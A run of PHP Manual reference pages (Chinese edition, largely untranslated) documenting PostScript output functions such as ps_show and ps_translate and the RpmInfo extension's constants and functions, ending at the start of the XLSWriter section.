tilman dot schroeder at gmx dot de 01-Jan-2007 07:52
Note that there will no box be drawn around the text even if the function name suggests this.

After the box has been drawn you can get the new x and y position with

<?php
$x=ps_get_value($ps,'textx',NULL);
$y=ps_get_value($ps,'texty',NULL);
?>

textx points to the end of the last character written by ps_show_boxed and texty points to the baseline of the last line written (which means, if there is e.g. a 'g' in the last line then the lower part's y-coordinates of the g will be lower than the value of texty. I hope you understand what I meant)


Output text at position

  • ? ps_show_boxed
  • ps_show_xy ?
  • PHP Manual
  • PS 函数
  • Output text at position

ps_show_xy2

(PECL ps >= 1.1.0)

ps_show_xy2 — Output text at position

说明

ps_show_xy2(
resource $psdoc,
string $text,
int $len,
float $xcoor,
float $ycoor
): bool

Warning

本函数还未编写文档，仅有参数列表。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Output text at given position

  • ? ps_show_xy2
  • ps_show2 ?
  • PHP Manual
  • PS 函数
  • Output text at given position

ps_show_xy

(PECL ps >= 1.1.0)

ps_show_xy — Output text at given position

说明

ps_show_xy(
resource $psdoc,
string $text,
float $x,
float $y
): bool

Output a text at the given text position.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

The text to be output.

x

x-coordinate of the lower left corner of the box surrounding the text.

y

y-coordinate of the lower left corner of the box surrounding the text.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_continue_text() - Continue text in next line
  • ps_show() - Output text

User Contributed Notes

There are no user contributed notes for this page.


Output a text at current position

  • ? ps_show_xy
  • ps_show ?
  • PHP Manual
  • PS 函数
  • Output a text at current position

ps_show2

(PECL ps >= 1.1.0)

ps_show2 — Output a text at current position

说明

ps_show2(resource $psdoc, string $text, int $len): bool

Output text at the current position. Do not print more than len characters.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

The text to be output.

len

The maximum number of characters to print.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Output text

  • ? ps_show2
  • ps_string_geometry ?
  • PHP Manual
  • PS 函数
  • Output text

ps_show

(PECL ps >= 1.1.0)

ps_show — Output text

说明

ps_show(resource $psdoc, string $text): bool

Output a text at the current text position. The text position can be set by storing the x and y coordinates into the values textx and texty with the function ps_set_value(). The function will issue an error if a font was not set before with ps_setfont().

ps_show() evaluates the following parameters and values as set by ps_set_parameter() and ps_set_value().

charspacing (value)

Distance between two consecutive glyphs. If this value is unequal to zero then all ligatures will be resolved. Values less than zero are allowed.

kerning (parameter)

Setting this parameter to "false" will turn off kerning. Kerning is turned on by default.

ligatures (parameter)

Setting this parameter to "false" will turn off the use of ligatures. Ligatures are turned on by default.

underline (parameter)

Setting this parameter to "true" will turn on underlining. Underlining is turned off by default.

overline (parameter)

Setting this parameter to "true" will turn on overlining. Overlining is turned off by default.

strikeout (parameter)

Setting this parameter to "true" will turn on striking out. Striking out is turned off by default.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

The text to be output.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_continue_text() - Continue text in next line
  • ps_show_xy() - Output text at given position
  • ps_setfont() - Sets font to use for following output

User Contributed Notes

There are no user contributed notes for this page.


Gets geometry of a string

  • ? ps_show
  • ps_stringwidth ?
  • PHP Manual
  • PS 函数
  • Gets geometry of a string

ps_string_geometry

(PECL ps >= 1.2.0)

ps_string_geometry — Gets geometry of a string

说明

ps_string_geometry(
resource $psdoc,
string $text,
int $fontid = 0,
float $size = 0.0
): array

This function is similar to ps_stringwidth() but returns an array of dimensions containing the width, ascender, and descender of the text.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

The text for which the geometry is to be calculated.

fontid

The identifier of the font to be used. If not font is specified the current font will be used.

size

The size of the font. If no size is specified the current size is used.

返回值

An array of the dimensions of a string. The element 'width' contains the width of the string as returned by ps_stringwidth(). The element 'descender' contains the maximum descender and 'ascender' the maximum ascender of the string.

参见

  • ps_continue_text() - Continue text in next line
  • ps_stringwidth() - Gets width of a string

User Contributed Notes

There are no user contributed notes for this page.


Gets width of a string

  • ? ps_string_geometry
  • ps_stroke ?
  • PHP Manual
  • PS 函数
  • Gets width of a string

ps_stringwidth

(PECL ps >= 1.1.0)

ps_stringwidth — Gets width of a string

说明

ps_stringwidth(
resource $psdoc,
string $text,
int $fontid = 0,
float $size = 0.0
): float

Calculates the width of a string in points if it was output in the given font and font size. This function needs an Adobe font metrics file to calculate the precise width. If kerning is turned on, it will be taken into account.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

The text for which the width is to be calculated.

fontid

The identifier of the font to be used. If not font is specified the current font will be used.

size

The size of the font. If no size is specified the current size is used.

返回值

Width of a string in points.

参见

  • ps_string_geometry() - Gets geometry of a string

User Contributed Notes

There are no user contributed notes for this page.


Draws the current path

  • ? ps_stringwidth
  • ps_symbol_name ?
  • PHP Manual
  • PS 函数
  • Draws the current path

ps_stroke

(PECL ps >= 1.1.0)

ps_stroke — Draws the current path

说明

ps_stroke(resource $psdoc): bool

Draws the path constructed with previously called drawing functions like ps_lineto().

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_closepath_stroke() - Closes and strokes path
  • ps_fill() - Fills the current path
  • ps_fill_stroke() - Fills and strokes the current path

User Contributed Notes

There are no user contributed notes for this page.


Gets name of a glyph

  • ? ps_stroke
  • ps_symbol_width ?
  • PHP Manual
  • PS 函数
  • Gets name of a glyph

ps_symbol_name

(PECL ps >= 1.2.0)

ps_symbol_name — Gets name of a glyph

说明

ps_symbol_name(resource $psdoc, int $ord, int $fontid = 0): string

This function needs an Adobe font metrics file to know which glyphs are available.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

ord

The parameter ord is the position of the glyph in the font encoding vector.

fontid

The identifier of the font to be used. If not font is specified the current font will be used.

返回值

The name of a glyph in the given font.

参见

  • ps_symbol() - Output a glyph
  • ps_symbol_width() - Gets width of a glyph

User Contributed Notes

There are no user contributed notes for this page.


Gets width of a glyph

  • ? ps_symbol_name
  • ps_symbol ?
  • PHP Manual
  • PS 函数
  • Gets width of a glyph

ps_symbol_width

(PECL ps >= 1.2.0)

ps_symbol_width — Gets width of a glyph

说明

ps_symbol_width(
resource $psdoc,
int $ord,
int $fontid = 0,
float $size = 0.0
): float

Calculates the width of a glyph in points if it was output in the given font and font size. This function needs an Adobe font metrics file to calculate the precise width.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

ord

The position of the glyph in the font encoding vector.

fontid

The identifier of the font to be used. If not font is specified the current font will be used.

size

The size of the font. If no size is specified the current size is used.

返回值

The width of a glyph in points.

参见

  • ps_symbol() - Output a glyph
  • ps_symbol_name() - Gets name of a glyph

User Contributed Notes

There are no user contributed notes for this page.


Output a glyph

  • ? ps_symbol_width
  • ps_translate ?
  • PHP Manual
  • PS 函数
  • Output a glyph

ps_symbol

(PECL ps >= 1.2.0)

ps_symbol — Output a glyph

说明

ps_symbol(resource $psdoc, int $ord): bool

Output the glyph at position ord in the font encoding vector of the current font. The font encoding for a font can be set when loading the font with ps_findfont().

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

ord

The position of the glyph in the font encoding vector.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_symbol_name() - Gets name of a glyph
  • ps_symbol_width() - Gets width of a glyph

User Contributed Notes

There are no user contributed notes for this page.


Sets translation

  • ? ps_symbol
  • RpmInfo ?
  • PHP Manual
  • PS 函数
  • Sets translation

ps_translate

(PECL ps >= 1.1.0)

ps_translate — Sets translation

说明

ps_translate(resource $psdoc, float $x, float $y): bool

Sets a new initial point of the coordinate system.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

x-coordinate of the origin of the translated coordinate system.

y

y-coordinate of the origin of the translated coordinate system.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Translation of the coordinate system

<?php
function rectangle($ps) {
ps_moveto($ps, 0, 0);
ps_lineto($ps, 0, 50);
ps_lineto($ps, 50, 50);
ps_lineto($ps, 50, 0);
ps_lineto($ps, 0, 0);
ps_stroke($ps);
}

$ps = ps_new();
if (!ps_open_file($ps, "translate.ps")) {
print "Cannot open PostScript file\n";
exit;
}

ps_set_info($ps, "Creator", "translate.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Translated example");
ps_set_info($ps, "BoundingBox", "0 0 596 842");

$psfont = ps_findfont($ps, "Helvetica", "", 0);

ps_begin_page($ps, 596, 842);
ps_set_text_pos($ps, 100, 100);
ps_translate($ps, 500, 750);
rectangle($ps);
ps_translate($ps, -500, -750);
ps_setfont($ps, $psfont, 8.0);
ps_show($ps, "Text at initial position");
ps_end_page($ps);

ps_begin_page($ps, 596, 842);
ps_set_text_pos($ps, 100, 100);
ps_save($ps);
ps_translate($ps, 500, 750);
rectangle($ps);
ps_restore($ps);
ps_setfont($ps, $psfont, 8.0);
ps_show($ps, "Text at initial position");
ps_end_page($ps);

ps_delete($ps);
?>

The above example demonstrates two possible ways to place a graphic (in this case just a rectangle) at any position on the page, while the graphic itself uses its own coordinate system. The trick is to change the origin of the current coordinate system before drawing the rectangle. The translation has to be undone after the graphic has been drawn.

On the second page a slightly different and more elegant approach is applied. Instead of undoing the translation with a second call of ps_translate() the graphics context is saved before modifying the coordinate system and restored after drawing the rectangle.

参见

  • ps_scale() - Sets scaling factor
  • ps_rotate() - Sets rotation factor

User Contributed Notes

There are no user contributed notes for this page.


RpmInfo

  • 简介
  • 安装/配置
    • 需求
    • Installation via PECL
    • 运行时配置
    • 资源类型
  • 预定义常量
  • RpmInfo 函数
    • rpmaddtag — Add tag retrieved in query
    • rpmdbinfo — Get information from installed RPM
    • rpmdbsearch — Search RPM packages
    • rpmgetsymlink — Get target of a symlink
    • rpminfo — Get information from a RPM file
    • rpmvercmp — RPM version comparison

User Contributed Notes

There are no user contributed notes for this page.


简介

This extension enables you to retrieve information from RPM files or from the installed RPMs database.

It also provides a rpm stream wrapper to retrieve RPM content (since version 1.0.0 with librpm >= 4.13).

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

Table of Contents

  • 需求
  • Installation via PECL
  • 运行时配置
  • 资源类型

User Contributed Notes

There are no user contributed notes for this page.


需求

This extension requires » librpm version 4.11.3 or higher.

User Contributed Notes

There are no user contributed notes for this page.


Installation via PECL

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/rpminfo.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

RPMVERSION (string)
System librpm version.
RPMSENSE_ANY (int)
RPMSENSE_LESS (int)
RPMSENSE_GREATER (int)
RPMSENSE_EQUAL (int)
RPMSENSE_POSTTRANS (int)
RPMSENSE_PREREQ (int)
RPMSENSE_PRETRANS (int)
RPMSENSE_INTERP (int)
RPMSENSE_SCRIPT_PRE (int)
RPMSENSE_SCRIPT_POST (int)
RPMSENSE_SCRIPT_PREUN (int)
RPMSENSE_SCRIPT_POSTUN (int)
RPMSENSE_SCRIPT_VERIFY (int)
RPMSENSE_FIND_REQUIRES (int)
RPMSENSE_FIND_PROVIDES (int)
RPMSENSE_TRIGGERIN (int)
RPMSENSE_TRIGGERUN (int)
RPMSENSE_TRIGGERPOSTUN (int)
RPMSENSE_MISSINGOK (int)
RPMSENSE_RPMLIB (int)
RPMSENSE_TRIGGERPREIN (int)
RPMSENSE_KEYRING (int)
RPMSENSE_CONFIG (int)
RPMMIRE_DEFAULT (int)
Search pattern is a regular expression with \., .* and ^...$ added.
RPMMIRE_STRCMP (int)
Search pattern is a string, using strcmp(3).
RPMMIRE_REGEX (int)
Search pattern is a regular expression, using regcomp(3).
RPMMIRE_GLOB (int)
Search pattern is a glob expression, using fnmatch(3).
RPMTAG_ARCH (int)
RPMTAG_ARCHSUFFIX (int)
Requires librpm >= 4.18
RPMTAG_ARCHIVESIZE (int)
RPMTAG_BASENAMES (int)
Name (not path) of files, with database index.
RPMTAG_BUGURL (int)
RPMTAG_BUILDARCHS (int)
RPMTAG_BUILDHOST (int)
RPMTAG_BUILDTIME (int)
RPMTAG_C (int)
RPMTAG_CHANGELOGNAME (int)
RPMTAG_CHANGELOGTEXT (int)
RPMTAG_CHANGELOGTIME (int)
RPMTAG_CLASSDICT (int)
RPMTAG_CONFLICTFLAGS (int)
RPMTAG_CONFLICTNAME (int)
Conflicting dependencies, with database index.
RPMTAG_CONFLICTNEVRS (int)
RPMTAG_CONFLICTS (int)
RPMTAG_CONFLICTVERSION (int)
RPMTAG_COOKIE (int)
RPMTAG_DBINSTANCE (int)
RPMTAG_DEPENDSDICT (int)
RPMTAG_DESCRIPTION (int)
RPMTAG_DIRINDEXES (int)
RPMTAG_DIRNAMES (int)
Directory of files, with database index.
RPMTAG_DISTRIBUTION (int)
RPMTAG_DISTTAG (int)
RPMTAG_DISTURL (int)
RPMTAG_DSAHEADER (int)
RPMTAG_E (int)
RPMTAG_ENCODING (int)
RPMTAG_ENHANCEFLAGS (int)
RPMTAG_ENHANCENAME (int)
Weak dependencies, with database index, requires librpm >= 4.13.
RPMTAG_ENHANCENEVRS (int)
RPMTAG_ENHANCES (int)
RPMTAG_ENHANCEVERSION (int)
RPMTAG_EPOCH (int)
RPMTAG_EPOCHNUM (int)
RPMTAG_EVR (int)
RPMTAG_EXCLUDEARCH (int)
RPMTAG_EXCLUDEOS (int)
RPMTAG_EXCLUSIVEARCH (int)
RPMTAG_EXCLUSIVEOS (int)
RPMTAG_FILECAPS (int)
RPMTAG_FILECLASS (int)
RPMTAG_FILECOLORS (int)
RPMTAG_FILECONTEXTS (int)
RPMTAG_FILEDEPENDSN (int)
RPMTAG_FILEDEPENDSX (int)
RPMTAG_FILEDEVICES (int)
RPMTAG_FILEDIGESTALGO (int)
RPMTAG_FILEDIGESTS (int)
RPMTAG_FILEFLAGS (int)
RPMTAG_FILEGROUPNAME (int)
RPMTAG_FILEINODES (int)
RPMTAG_FILELANGS (int)
RPMTAG_FILELINKTOS (int)
RPMTAG_FILEMD5S (int)
RPMTAG_FILEMODES (int)
RPMTAG_FILEMTIMES (int)
RPMTAG_FILENAMES (int)
RPMTAG_FILENLINKS (int)
RPMTAG_FILEPROVIDE (int)
RPMTAG_FILERDEVS (int)
RPMTAG_FILEREQUIRE (int)
RPMTAG_FILESIGNATURELENGTH (int)
RPMTAG_FILESIGNATURES (int)
RPMTAG_FILESIZES (int)
RPMTAG_FILESTATES (int)
RPMTAG_FILETRIGGERCONDS (int)
RPMTAG_FILETRIGGERFLAGS (int)
RPMTAG_FILETRIGGERINDEX (int)
RPMTAG_FILETRIGGERNAME (int)
File trigger name, with database index, requires librpm >= 4.13.
RPMTAG_FILETRIGGERPRIORITIES (int)
RPMTAG_FILETRIGGERSCRIPTFLAGS (int)
RPMTAG_FILETRIGGERSCRIPTPROG (int)
RPMTAG_FILETRIGGERSCRIPTS (int)
RPMTAG_FILETRIGGERTYPE (int)
RPMTAG_FILETRIGGERVERSION (int)
RPMTAG_FILEUSERNAME (int)
RPMTAG_FILEVERIFYFLAGS (int)
RPMTAG_FSCONTEXTS (int)
RPMTAG_GIF (int)
RPMTAG_GROUP (int)
Group of the package, with database index.
RPMTAG_HDRID (int)
RPMTAG_HEADERCOLOR (int)
RPMTAG_HEADERI18NTABLE (int)
RPMTAG_HEADERIMAGE (int)
RPMTAG_HEADERIMMUTABLE (int)
RPMTAG_HEADERREGIONS (int)
RPMTAG_HEADERSIGNATURES (int)
RPMTAG_ICON (int)
RPMTAG_INSTALLCOLOR (int)
RPMTAG_INSTALLTID (int)
Installation transaction ID, with database index.
RPMTAG_INSTALLTIME (int)
RPMTAG_INSTFILENAMES (int)
Path of files, with database index.
RPMTAG_INSTPREFIXES (int)
RPMTAG_LICENSE (int)
RPMTAG_LONGARCHIVESIZE (int)
RPMTAG_LONGFILESIZES (int)
RPMTAG_LONGSIGSIZE (int)
RPMTAG_LONGSIZE (int)
RPMTAG_MODULARITYLABEL (int)
RPMTAG_N (int)
RPMTAG_NAME (int)
Package name, with database index.
RPMTAG_NEVR (int)
RPMTAG_NEVRA (int)
RPMTAG_NOPATCH (int)
RPMTAG_NOSOURCE (int)
RPMTAG_NVR (int)
RPMTAG_NVRA (int)
RPMTAG_O (int)
RPMTAG_OBSOLETEFLAGS (int)
RPMTAG_OBSOLETENAME (int)
Obsoleted packages, with database index.
RPMTAG_OBSOLETENEVRS (int)
RPMTAG_OBSOLETES (int)
RPMTAG_OBSOLETEVERSION (int)
RPMTAG_OLDENHANCES (int)
RPMTAG_OLDENHANCESFLAGS (int)
RPMTAG_OLDENHANCESNAME (int)
RPMTAG_OLDENHANCESVERSION (int)
RPMTAG_OLDFILENAMES (int)
RPMTAG_OLDSUGGESTS (int)
RPMTAG_OLDSUGGESTSFLAGS (int)
RPMTAG_OLDSUGGESTSNAME (int)
RPMTAG_OLDSUGGESTSVERSION (int)
RPMTAG_OPTFLAGS (int)
RPMTAG_ORDERFLAGS (int)
RPMTAG_ORDERNAME (int)
RPMTAG_ORDERVERSION (int)
RPMTAG_ORIGBASENAMES (int)
RPMTAG_ORIGDIRINDEXES (int)
RPMTAG_ORIGDIRNAMES (int)
RPMTAG_ORIGFILENAMES (int)
RPMTAG_OS (int)
RPMTAG_P (int)
RPMTAG_PACKAGER (int)
RPMTAG_PATCH (int)
RPMTAG_PATCHESFLAGS (int)
RPMTAG_PATCHESNAME (int)
RPMTAG_PATCHESVERSION (int)
RPMTAG_PAYLOADCOMPRESSOR (int)
RPMTAG_PAYLOADDIGEST (int)
RPMTAG_PAYLOADDIGESTALT (int)
With librpm >= 4.16.
RPMTAG_PAYLOADDIGESTALGO (int)
RPMTAG_PAYLOADFLAGS (int)
RPMTAG_PAYLOADFORMAT (int)
RPMTAG_PKGID (int)
RPMTAG_PLATFORM (int)
RPMTAG_POLICIES (int)
RPMTAG_POLICYFLAGS (int)
RPMTAG_POLICYNAMES (int)
RPMTAG_POLICYTYPES (int)
RPMTAG_POLICYTYPESINDEXES (int)
RPMTAG_POSTIN (int)
RPMTAG_POSTINFLAGS (int)
RPMTAG_POSTINPROG (int)
RPMTAG_POSTTRANS (int)
RPMTAG_POSTTRANSFLAGS (int)
RPMTAG_POSTTRANSPROG (int)
RPMTAG_POSTUN (int)
RPMTAG_POSTUNFLAGS (int)
RPMTAG_POSTUNPROG (int)
RPMTAG_POSTUNTRANS (int)
Requires librpm >= 4.19
RPMTAG_POSTUNTRANSFLAGS (int)
Requires librpm >= 4.19
RPMTAG_POSTUNTRANSPROG (int)
Requires librpm >= 4.19
RPMTAG_PREFIXES (int)
RPMTAG_PREIN (int)
RPMTAG_PREINFLAGS (int)
RPMTAG_PREINPROG (int)
RPMTAG_PRETRANS (int)
RPMTAG_PRETRANSFLAGS (int)
RPMTAG_PRETRANSPROG (int)
RPMTAG_PREUN (int)
RPMTAG_PREUNFLAGS (int)
RPMTAG_PREUNPROG (int)
RPMTAG_PREUNTRANS (int)
Requires librpm >= 4.19
RPMTAG_PREUNTRANSFLAGS (int)
Requires librpm >= 4.19
RPMTAG_PREUNTRANSPROG (int)
Requires librpm >= 4.19
RPMTAG_PROVIDEFLAGS (int)
RPMTAG_PROVIDENAME (int)
Provided dependencies, with database index.
RPMTAG_PROVIDENEVRS (int)
RPMTAG_PROVIDES (int)
RPMTAG_PROVIDEVERSION (int)
RPMTAG_PUBKEYS (int)
RPMTAG_R (int)
RPMTAG_RECOMMENDFLAGS (int)
RPMTAG_RECOMMENDNAME (int)
Recommended weak dependencies, with database index, requires librpm >= 4.13.
RPMTAG_RECOMMENDNEVRS (int)
RPMTAG_RECOMMENDS (int)
RPMTAG_RECOMMENDVERSION (int)
RPMTAG_RECONTEXTS (int)
RPMTAG_RELEASE (int)
RPMTAG_REMOVETID (int)
RPMTAG_REQUIREFLAGS (int)
RPMTAG_REQUIRENAME (int)
Required dependencies, with database index.
RPMTAG_REQUIRENEVRS (int)
RPMTAG_REQUIRES (int)
RPMTAG_REQUIREVERSION (int)
RPMTAG_RPMVERSION (int)
RPMTAG_RSAHEADER (int)
RPMTAG_SHA1HEADER (int)
SHA1 signature, with database index.
RPMTAG_SHA256HEADER (int)
RPMTAG_SIGGPG (int)
RPMTAG_SIGMD5 (int)
MD5 signature, with database index.
RPMTAG_SIGPGP (int)
RPMTAG_SIGSIZE (int)
RPMTAG_SIZE (int)
RPMTAG_SOURCE (int)
RPMTAG_SOURCEPACKAGE (int)
RPMTAG_SOURCEPKGID (int)
RPMTAG_SOURCERPM (int)
RPMTAG_SPEC (int)
Requires librpm >= 4.18
RPMTAG_SUGGESTFLAGS (int)
RPMTAG_SUGGESTNAME (int)
Suggested weak dependencies, with database index, requires librpm >= 4.13.
RPMTAG_SUGGESTNEVRS (int)
RPMTAG_SUGGESTS (int)
RPMTAG_SUGGESTVERSION (int)
RPMTAG_SUMMARY (int)
RPMTAG_SUPPLEMENTFLAGS (int)
RPMTAG_SUPPLEMENTNAME (int)
Weak dependencies, with database index, requires librpm >= 4.13.
RPMTAG_SUPPLEMENTNEVRS (int)
RPMTAG_SUPPLEMENTS (int)
RPMTAG_SUPPLEMENTVERSION (int)
RPMTAG_SYSUSERS (int)
Requires librpm >= 4.19
RPMTAG_TRANSFILETRIGGERCONDS (int)
RPMTAG_TRANSFILETRIGGERFLAGS (int)
RPMTAG_TRANSFILETRIGGERINDEX (int)
RPMTAG_TRANSFILETRIGGERNAME (int)
Transaction file trigger name, with database index, requires librpm >= 4.13.
RPMTAG_TRANSFILETRIGGERPRIORITIES (int)
RPMTAG_TRANSFILETRIGGERSCRIPTFLAGS (int)
RPMTAG_TRANSFILETRIGGERSCRIPTPROG (int)
RPMTAG_TRANSFILETRIGGERSCRIPTS (int)
RPMTAG_TRANSFILETRIGGERTYPE (int)
RPMTAG_TRANSFILETRIGGERVERSION (int)
RPMTAG_TRANSLATIONURL (int)
Requires librpm >= 4.18
RPMTAG_TRIGGERCONDS (int)
RPMTAG_TRIGGERFLAGS (int)
RPMTAG_TRIGGERINDEX (int)
RPMTAG_TRIGGERNAME (int)
Trigger name, with database index.
RPMTAG_TRIGGERSCRIPTFLAGS (int)
RPMTAG_TRIGGERSCRIPTPROG (int)
RPMTAG_TRIGGERSCRIPTS (int)
RPMTAG_TRIGGERTYPE (int)
RPMTAG_TRIGGERVERSION (int)
RPMTAG_UPSTREAMRELEASES (int)
Requires librpm >= 4.18
RPMTAG_URL (int)
RPMTAG_V (int)
RPMTAG_VCS (int)
RPMTAG_VENDOR (int)
RPMTAG_VERBOSE (int)
RPMTAG_VERIFYSCRIPT (int)
RPMTAG_VERIFYSCRIPTFLAGS (int)
RPMTAG_VERIFYSCRIPTPROG (int)
RPMTAG_VERITYSIGNATUREALGO (int)
With librpm >= 4.17.
RPMTAG_VERITYSIGNATURES (int)
With librpm >= 4.17.
RPMTAG_VERSION (int)
RPMTAG_XPM (int)

User Contributed Notes

There are no user contributed notes for this page.


RpmInfo 函数

Table of Contents

  • rpmaddtag — Add tag retrieved in query
  • rpmdbinfo — Get information from installed RPM
  • rpmdbsearch — Search RPM packages
  • rpmgetsymlink — Get target of a symlink
  • rpminfo — Get information from a RPM file
  • rpmvercmp — RPM version comparison

User Contributed Notes

There are no user contributed notes for this page.


Add tag retrieved in query

  • ? RpmInfo 函数
  • rpmdbinfo ?
  • PHP Manual
  • RpmInfo 函数
  • Add tag retrieved in query

rpmaddtag

(PECL rpminfo >= 0.5.0)

rpmaddtag — Add tag retrieved in query

说明

rpmaddtag(int $tag): bool

Add an additional retrieved tag in subsequent queries.

参数

tag

One of RPMTAG_* constant, see the rpminfo constants page.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • rpminfo() - Get information from a RPM file
  • rpmdbinfo() - Get information from installed RPM
  • rpmdbsearch() - Search RPM packages

User Contributed Notes

There are no user contributed notes for this page.


Get information from installed RPM

  • ? rpmaddtag
  • rpmdbsearch ?
  • PHP Manual
  • RpmInfo 函数
  • Get information from installed RPM

rpmdbinfo

(PECL rpminfo >= 0.2.0)

rpmdbinfo — Get information from installed RPM

说明

rpmdbinfo(string $nevr, bool $full = false): ?array

Retrieve information about an installed package, from the system RPM database.

参数

nevr

Name with optional epoch, version and release.

full

If true all information headers for the file are retrieved, else only a minimal set.

返回值

An array of array of information or NULL on error.

示例

Example #1 A rpmdbinfo() example

<?php
rpmaddtag(RPMTAG_INSTALLTIME);
$info = rpmdbinfo("php-pecl-rpminfo");
print_r($info);
?>

以上示例会输出：

Array
(
    [0] => Array
        (
            [Name] => php-pecl-rpminfo
            [Version] => 0.4.2
            [Release] => 1.fc31
            [Summary] => RPM information
            [Installtime] => 1586244687
            [Arch] => x86_64
        )
)

参见

  • rpmaddtag() - Add tag retrieved in query

User Contributed Notes

There are no user contributed notes for this page.


Search RPM packages

  • ? rpmdbinfo
  • rpmgetsymlink ?
  • PHP Manual
  • RpmInfo 函数
  • Search RPM packages

rpmdbsearch

(PECL rpminfo >= 0.3.0)

rpmdbsearch — Search RPM packages

说明

rpmdbsearch(
string $pattern,
int $rpmtag = RPMTAG_NAME,
int $rpmmire = -1,
bool $full = false
): ?array

Search packages in the system RPM database.

参数

pattern

Value to search for.

rpmtag

Search criterion, one of RPMTAG_* constant, see the rpminfo constants page.

rpmmire

Pattern type, one of RPMMIRE_* constant, see the rpminfo constants page. When < 0 the criterion must equals the value, and database index is used if possible.

full

If true all information headers for the file are retrieved, else only a minimal set.

返回值

An array of array of information or NULL on error.

示例

Example #1 Searching for the package owning a file

<?php
$info = rpmdbsearch("/usr/bin/php", RPMTAG_INSTFILENAMES);
print_r($info);
?>

以上示例会输出：

Array
(
    [0] => Array
        (
            [Name] => php-cli
            [Version] => 7.4.4
            [Release] => 1.fc32
            [Summary] => Command-line interface for PHP
            [Arch] => x86_64
        )

)

参见

  • rpmaddtag() - Add tag retrieved in query

User Contributed Notes

There are no user contributed notes for this page.


Get target of a symlink

  • ? rpmdbsearch
  • rpminfo ?
  • PHP Manual
  • RpmInfo 函数
  • Get target of a symlink

rpmgetsymlink

(PECL rpminfo >= 1.1.0)

rpmgetsymlink — Get target of a symlink

说明

rpmgetsymlink(string $path, string $name): ?string

Get target of a symlink.

参数

path

Path of the RPM file.

name

Name of the symlink file.

返回值

A string with target of the symlink, NULL on error, or an empty string if not a symlink.

User Contributed Notes

There are no user contributed notes for this page.


Get information from a RPM file

  • ? rpmgetsymlink
  • rpmvercmp ?
  • PHP Manual
  • RpmInfo 函数
  • Get information from a RPM file

rpminfo

(PECL rpminfo >= 0.1.0)

rpminfo — Get information from a RPM file

说明

rpminfo(string $path, bool $full = false, string &$error = ?): ?array

Retrieve information about a local file, a RPM package.

参数

path

Path of the RPM file.

full

If true all information headers for the file are retrieved, else only a minimal set.

error

If provided, will receive the possible error message, and will avoid a runtime warning.

返回值

An array of information or NULL on error.

示例

Example #1 A rpminfo() example

<?php
rpmaddtag(RPMTAG_BUILDTIME);
$info = rpminfo("./php-pecl-rpminfo-0.4.2-1.el8.remi.7.4.x86_64.rpm");
print_r($info);
?>

以上示例会输出：

Array
(
    [Name] => php-pecl-rpminfo
    [Version] => 0.4.2
    [Release] => 1.el8
    [Summary] => RPM information
    [Buildtime] => 1586244821
    [Arch] => x86_64
)

参见

  • rpmaddtag() - Add tag retrieved in query

User Contributed Notes

There are no user contributed notes for this page.


RPM version comparison

  • ? rpminfo
  • XLSWriter ?
  • PHP Manual
  • RpmInfo 函数
  • RPM version comparison

rpmvercmp

(PECL rpminfo >= 0.1.0)

rpmvercmp — RPM version comparison

说明

rpmvercmp(string $evr1, string $evr2, ?string $operator = null): int|bool

Compare 2 RPM versions.

参数

evr1

First epoch:version-release string

evr2

Second epoch:version-release string

operator

An optional operator. The possible operators are: <, lt, <=, le, >, gt, >=, ge, ==, =, eq, !=, <>, ne respectively.

This parameter is case-sensitive, values should be lowercase.

返回值

Returns < 0 if evr1 is less than evr2, > 0 if evr1 is greater than evr2, and 0 if they are equal.

When using the optional operator argument, the function will return true if the relationship is the one specified by the operator, false otherwise.

更新日志

版本 | 说明
0.7.0 | Optional operator was added.

User Contributed Notes

There are no user contributed notes for this page.


XLSWriter

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 资源类型
  • 预定义常量
  • Vtiful\Kernel\Excel — The Vtiful\Kernel\Excel class
    • Vtiful\Kernel\Excel::addSheet — Vtiful\Kernel\Excel addSheet
    • Vtiful\Kernel\Excel::autoFilter — Vtiful\Kernel\Excel autoFilter
    • Vtiful\Kernel\Excel::constMemory — Vtiful\Kernel\Excel constMemory
    • Vtiful\Kernel\Excel::__construct — Vtiful\Kernel\Excel constructor
    • Vtiful\Kernel\Excel::data — Vtiful\Kernel\Excel data
    • Vtiful\Kernel\Excel::fileName — Vtiful\Kernel\Excel fileName
    • Vtiful\Kernel\Excel::getHandle — Vtiful\Kernel\Excel getHandle
    • Vtiful\Kernel\Excel::header — Vtiful\Kernel\Excel header
    • Vtiful\Kernel\Excel::insertFormula — Vtiful\Kernel\Excel insertFormula
    • Vtiful\Kernel\Excel::insertImage — Vtiful\Kernel\Excel insertImage
    • Vtiful\Kernel\Excel::insertText — Vtiful\Kernel\Excel insertText
    • Vtiful\Kernel\Excel::mergeCells — Vtiful\Kernel\Excel mergeCells
    • Vtiful\Kernel\Excel::output — Vtiful\Kernel\Excel output
    • Vtiful\Kernel\Excel::setColumn — Vtiful\Kernel\Excel setColumn
    • Vtiful\Kernel\Excel::setRow — Vtiful\Kernel\Excel setRow
